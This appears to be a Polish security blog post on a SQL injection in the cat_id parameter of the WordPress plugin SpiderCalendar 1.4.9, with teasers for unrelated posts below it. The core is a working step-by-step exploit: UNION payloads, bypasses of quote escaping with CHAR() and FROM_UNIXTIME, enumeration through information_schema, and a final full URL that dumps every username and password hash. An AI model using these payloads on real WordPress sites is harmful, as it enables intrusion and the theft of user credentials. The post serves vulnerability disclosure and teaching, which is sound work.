Przejdź do głównej zawartości

WordPress -> SQL Injection poprzez plugin Webdorado SpiderCalendar

W zeszłym roku sprawdziłem jakość kodu oraz poprawność przetwarzania danych wejściowych przez plugin „Form Maker” przygotowany przez wydawcę Webdorado. Tym razem postanowiłem sprawdzić czy autor poprawił jakoś kodu swoich produktów. Należy tutaj nadmienić, że poza wersjami darmowymi opartymi na licencji GNU/GPLv2 oferuje on również wersję płatne z dodatkowymi szablonami. Tym razem postaram się opisać wszelkie przeszkody, które musiałem pokonać aby napisać działającego exploita. Zacząłem zabawę tak, że program był dla mnie black-boxem, ale niestety skończyło się na przejrzeniu kodu. Zapraszam do lektury.
Poniżej można zobaczyć jeden z widoków częściowych kalendarza, który domyślnie jest wywoływany z JavaScriptu jako XHR, można jednak go z powodzeniem otworzyć w przeglądarce jako widok główny:






http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id &widget=0



Na powyższym zrzucie ekranu widać również jedno dodane wydarzenie w dniu 2 lutego 2015.
Najpierw skupiałem się na podatności na ataki typu XSS i podążając tym tropem zauważyłem, że manipulacja parametrem cat_id powoduje niepokojącą zmianę zachowania aplikacji.
Poniżej zamieściłem zrzut ekranu gdy przekaże się w requeście w parametrze cat_id wartość ABCD. Ten sam efekt można uzyskać podając apostrof lub cudzysłów. Jak widać na zrzucie ekranu aplikacja nadal zwraca kod 200, jednakże wydarzenie zniknęło z kalendarza. To wzbudziło moje podejrzenie.




URL:


http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=ABCD&widget=0

Oczywiście pierwsze co przyszło mi do głowy to zakomentować pozostałą część zapytania i sprawdzić czy kalendarz coś wyświetli. Próbowałem różnych kombinacji:
  1. %20--%20
  2. %20’--%20
  3. %20”--%20
Niestety nic nie zadziałało ale wpadł mi do głowy jeszcze jeden pomysł – mianowicie, że jest to parametr, którym przekazywany jest zbiór kategorii, który ląduje we fragmencie IN () zapytania SQLowego.

  1. %201);--%20

I… zadziałało. Pełny URL znajduje się poniżej:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=%201);--%20&widget=0


Po wywołaniu powyższego URLa zrzut ekranu wygląda praktycznie tak samo jak na pierwszym zaprezentowanym zrzucie ekranu. Może się zdarzyć, że niektóre wydarzenia z kalendarza znikną (te, które mają przypisaną inną kategorię, a niektóre wycięte z wyników poprzez zakomentowany fragment zapytania SQL nagle się pojawią.

Jesteśmy już bardzo bliscy poprawnego zapytania atakującego bazę danych. Następnym krokiem jest spróbowanie doklejenia do zapytania takiego SQLa, który spowoduje pojawienie się dodatkowych wyników w kalendarzu. Postanowiłem skorzystać z konstrukcji UNION – w takim wypadku musimy „odgadnąć” z ilu kolumn składa się używane przez aplikację zapytanie.
Do tego celu można użyć magicznej „tabelki” o nazwie DUAL: 
SELECT 1 FROM DUAL;
Fragment, który należy dokleić do parametru cat_id w query stringu (spacja na końcu bardzo istotna):
 
1) UNION SELECT 1 FROM DUAL;--%20

Należy doklejać tak kolejne 1 oddzielone przecinkami przed słowem kluczowym FROM aby zapytanie się wykonało. Finalnie działające zapytanie wygląda tak:

1) UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM DUAL;--%20
 
Pełny URL z doklejonym zapytaniem:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0


Na razie efekt jest taki, że zapytanie ma poprawną składnię i poprzedni element z 2 lutego pojawił się z powrotem na widoku. Teraz musimy sprawić by jakiś spreparowany przez nas rekord pojawił się np. w dniu 3 lutego 2015 roku. Od razu powiem, że tutaj się namęczyłem, gdyż okazało się, iż znaki apostrofa i cudzysłowu są escape’owane.
Wystarczy wywołać poniższy URL aby się przekonać, że zapytanie ma ponownie niepoprawną składnię, gdyż znowu z kalendarza znikają zdarzenia:

http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,%222015-02-03%22,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0

Trzeba więc znaleźć sposób aby w wyniku zapytania zwrócić datę w formie stringa ale nie podawać go w formie stringa w URLu. Rozwiązaniem okazała się konwersja z UNIX TIMESTAMP. Potrzebujemy zatem obliczyć timestampa dla dnia 2015-02-03, pomocne nam będzie poniższe zapytanie:

SELECT UNIX_TIMESTAMP("2015-02-04");

-- WYNIK POWINIEN WYNOSIC: 1423004400

Aby uzyskać na tej podstawie string z datą należy skonwertować w zapytaniu SELECT z powrotem wartość 1423004400 do typu DateTime, na surowym przykładzie:

SELECT FROM_UNIXTIME(1423004400) FROM DUAL;

-- WYNIK POWINIEN WYNOSIC: 2015-02-04 00:00:00

Próbowałem podstawiać ten element FROM_UNIXTIME(1423004400) w różne kolumny, jednak nie udało mi się osiągnąć zadowalających rezultatów. Zapytanie wydawało się mieć poprawną składnię, gdyż stworzony już element kalendarza wyświetlał się w poprawnym miejscu, jednak dodawany przeze mnie sztucznie nowy rekord nie chciał się pojawić w kalendarzu.
Niestety – nie udało mi się również zmodyfikować zapytania tak, aby nadpisać jakieś wyświetlane pola z pierwszego wiersza ani też pobrać nazwy tabelki. Na tym etapie próbowałem wykombinować zestaw zapytań „spreparowanych” , dzięki którym mógłbym podstawić do kolumn w podstawionym przeze mnie wierszu rzeczywiste wartości z działających rekordów. Oczywiście nie znałem ani nazwy tabelki, ani prefixu instalacji… również nieznane mi były nazwy kolumn, o to co udało mi się stworzyć:

SET @table = (
   SELECT table_name
   FROM information_schema.tables
   WHERE table_name
   LIKE "%\_%event" LIMIT 1
);
SET @column = (
   SELECT column_name
   FROM information_schema.columns
   WHERE table_name = (
      SELECT table_name
      FROM information_schema.tables
      WHERE table_name
      LIKE "%\_%event" LIMIT 1
   ) AND ordinal_position = 2
);
SET @query = CONCAT('SELECT ', @column, ' FROM ', @table);
PREPARE stmt1 FROM @query;
EXECUTE stmt1;

Te zapytanie w połączeniu z małym skryptem podstawiłoby w sposób brutalny wartości rzeczywiste z kolumny A do A i tak dalej – aż do momentu gdzie uzyskałbym odpowiedź którą wartość muszę podstawić do której kolumny (nie znając ani nazwy tabelki, ani nazwy kolumny ani też wartości) – chodziło o to by na ślepo dojść do tego aby spreparowany rekord poprzez UNION wyświetlił się w kalendarzu.
Niestety próby wplecenia tego w adres URL nie przyniosły efektu, gdyż nie mogłem tutaj skombinować tego zapytania w UNION, więc musiałem zakończyć średnikiem poprzednie a tak straciłem odpowiednie powiązania pomiędzy polami obiektu i nazwami kolumn (których przecież nie znałem).
 
Oczywiście pozostała mi opcja próby dodania rzeczywistego wiersza do bazy danych uzupełniając go częściowo spreparowanymi danymi poprzez SELECT INTO. Jednak tworzenie wierszy w tabelce o nieznanej nazwie i uzupełnianie jej na ślepo danymi z nieznanych kolumn jest dosyć czasochłonne o ile w ogóle udałoby mi się osiągnąć zamierzony efekt.
Gdyby ktoś miał pomysł na to jak uzyskać odpowiednie działające zapytanie bez zaglądania w kod, proszę o kontakt :-). Wiadomo, że w niektóre kolumny trzeba podstawić rzeczywiste wartości, ale dojście tego, w które i skąd – nie jest czymś banalnym.
Ze względu na to, iż kalendarz ten jest projektem na licencji GNU/GPL - na tym etapie się poddałem i postanowiłem zajrzeć do kodu. Okazało się, że w jednej z kolumn jest coś na wzór wartości ENUM (zapisywane jako varchar) i pole to musi przyjmować jedną z 4 wartości aby rekord w ogóle pojawił się w wynikach w kalendarzu. Chodzi o kolumnę „repeat_mode”, która przyjmuje poniższe wartości:
  • no_repeat,
  • daily,
  • weakly,
  • monthly,
  • yearly

Na podstawie kodu (ścieżka: %wpInstallPath%\wp-content\plugins\spider-event-calendar\front_end\frontend_functions.php) można już łatwo wywnioskować, że data zwracana jest jako 3 kolumna a typ powtarzania zdarzeń w kalendarzu jako 10 kolumna. Pamiętajmy, że nie możemy przekazywać ani apostrofów ani cudzysłowu. Musimy przekonwertować string do numerków z tablicy ASCII i posłużyć się magiczną funkcją CHAR aby podpiąć te wartość „na sztywno” do zapytania, poprawność sprawdzamy tak:

SELECT CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116) as str ;
 
Doklejane zapytanie będzie wyglądało zatem tak: 
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,1,1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--%20

A pełny URL jak poniżej:

http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,1,1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0
 
Wynik można zobaczyć poniżej:
 
 
Skoro potrafimy już dodać dowolny record do wyświetlanych rezultatów, co stoi na przeszkodzie aby spróbować pobrać listę tabelek z obecnej schema? Nic.
Aby pobrać listę tabelek w MySQL należy wykonać poniższe zapytanie:
SELECT table_name FROM information_schema.tables;

Każda instalacja wordpressa zawiera tabelkę, której zawartość jest zazwyczaj najbardziej przydatna potencjalnemu atakującemu – tabelkę z użytkownikami. Ta nazywa się „users” i zaczyna prefixem.
Aby pobrać jej pełną nazwę nie znając perfixu – potrzebujemy następującego zapytania:

SELECT table_name FROM information_schema.tables WHERE table name LIKE “%users” LIMIT 1;
 
Oczywiście mamy nadzieję, że w bazie nie będzie innych tabelek, których nazwa kończy się na users. Jeśli jest inaczej – możemy zmodyfikować zapytanie w sekcji LIMIT lub zmodyfikować o GROUP BY i GROUP_CONCAT(). Teraz musimy pomanipulować trochę parametrami aby odkryć, która kolumna jest wyświetlana jako tytuł – po prostu powpisuj jakiś ciąg znaków do kolejnych parametrów. Oczywiście można zawsze zerknąć do kodu. Jak pewnie zauważyłeś – jest to 5 kolumna.
Oczywiście ostatniego wspomnianego zapytania nie można zastosować wprost z powodu użytego stringa – należy więc zmienić go w sekwencję numerków i pozyskać poprzez CHAR().
SELECT table_name
FROM information_schema.tables
WHERE table_name LIKE (
     SELECT CHAR(37, 117, 115, 101, 114, 115)
) LIMIT 1

Kompletny SQL doklejony do URL wyglądać będzie następująco:

1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,(SELECT table_name FROM information_schema.tables WHERE table_name LIKE ( SELECT CHAR(37, 117, 115, 101, 114, 115) ) LIMIT 1),1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--
 
Pełny adres URL:
 
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20LIKE%20(%20SELECT%20CHAR(37,%20117,%20115,%20101,%20114,%20115)%20)%20LIMIT%201),1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0

Poniżej zrzut ekranu z wynikiem zapytania:

Znamy już zatem prefix instalacji WordPressa – możemy zatem spróbować pobrać wszystkich użytkowników z tabelki.
Należy jedynie zmienić tabelkę z DUAL na rzeczywistą i podmienić 5 parametr:

1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass)) 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM wp2_users;--%20
 
W rezultacie widzimy, że niestety w danym dniu pojawia się tylko pierwszy user – dlatego zmodyfikujemy zapytanie aby pobrać wszystkich (login I hasło) w jednym wierszu. Będziemy do tego potrzebowali sekcji GROUP BY, funkcji GROUP_CONCAT() oraz zmiany jednego z niepotrzebnych nam parametrów na sztuczną grupę o wspólnej wartości dla wszystkich użytkowników:
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, GROUP_CONCAT( CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass))), 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 as fakeGroup FROM wp2_users GROUP BY fakeGroup;--%20


Pełny URL:

http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,%20GROUP_CONCAT(%20CONCAT(%20CONCAT(user_login,CHAR(35,%2035),user_pass))),%201,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20as%20fakeGroup%20FROM%20wp2_users%20GROUP%20BY%20fakeGroup;--%20&widget=0

Poniżej przykładowy exploit (napisany prawie na kolanie) wykorzystujący podatność oraz zrzut ekranu z przykładem użycia I wynikiem pracy:
Link do expliota na 1337day.com: http://1337day.com/exploit/description/23328
Link do exploida na exploit-db.com: http://www.exploit-db.com/exploits/36061/


Poniżej zrzut ekranu uruchomienia tego exploita na lokalnym komputerze.



W changelogu ( https://wordpress.org/plugins/spider-event-calendar/changelog/ ) można już zobaczyć wpis o tym, że błąd został poprawiony. Autor postanowił najwyraźniej nie zamieszczać szczegółów naprawionego błędu:






Zabawne jest to, że oprócz wersji otwartej/darmowej „twórca” udostępnia także wersję płatną z dodatkowymi licencjami na skórki własnego autorstwa. Liczba błędów w pluginach autora „webdorado” jest porażająca, a jakość kodu nie zachwyca.
Szczegóły testu:
WordPress: 4.0
Testowany Plugin: Webdorado SpiderCalendar
Wersja: 1.4.9
URL: https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip




Artykuł udostępniany na licencji CC-BY-SA-3.0

Komentarze

Popularne posty z tego bloga

Inkscape - Ikona koperty

Podstawą naszej pracy będzie oczywiście narysowanie koperty. Lepszy efekt uzyskamy, jeśli narysujemy ją pod pewnym kątem. Musimy jednak oczywiście pamiętać, że konieczne będzie zachowanie proporcji oraz prawidłowe użycie rzutu. Rysujemy najpierw zewnętrzne kontury, potem wewnętrzne elementy, do momentu uzyskania podobnych efektów jak na poniższym zrzucie szkieletowym. By uzyskać widok szkieletowy włączamy opcję Widok -> Tryb Wyświetlania -> Szkieletowy . Z powyginanych trójkątów postaramy się zrobić coś w rodzaju cieni. Grubość linii koperty, które należy narysować u siebie ustawiłem na 4 - tak,by przy mniejszym rozmiarze ikony koperta była bardziej widoczna. Zresztą porównajcie to z oczekiwanym efektem końcowym. Po narysowaniu koperty przejdźmy do tworzenia tła pod kopertę. Jak widać na powyższym załączniku, będzie ono okrągłe. Korzystając z narzędzia "owal" by uzyskać idealne koło przytrzymujemy Ctrl+Shift, podczas gdy rysujemy. Wykorzystany gradient to gradient typu

Przydatne skrypty w MS SQL Server dla platformy Azure

 Jak przygotować skrypt, który wyłączy "Constrainty" w MS SQL Azure:     SELECT 'ALTER TABLE [' + s.name + '].[' + o.name + '] NOCHECK CONSTRAINT ' + i.name AS a     FROM sys.foreign_keys i     INNER JOIN sys.objects o ON i.parent_object_id = o.OBJECT_ID     INNER JOIN sys.schemas s ON o.schema_id = s.schema_id Jak przygotować skrypt, który wycziści wszystkie tabele, po tym jak wyłączysz "Constrainty" w MS SQL Azure:     SELECT DISTINCT 'DELETE FROM  [' + t.name + '] ' AS a     FROM sys.tables t     WHERE t.name <> 'appusers' AND t.name <> 'flyway_schema_history'; Jak przygotować skrypt, który włączy "Constrainty" w MS SQL Azure:     SELECT 'ALTER TABLE [' + s.name + '].[' + o.name + '] CHECK CONSTRAINT ' + i.name AS a     FROM sys.foreign_keys i     INNER JOIN sys.objects o ON i.parent_object_id = o.OBJECT_ID     INNER JOIN sys.schemas s ON o.schema_id = s.schema_i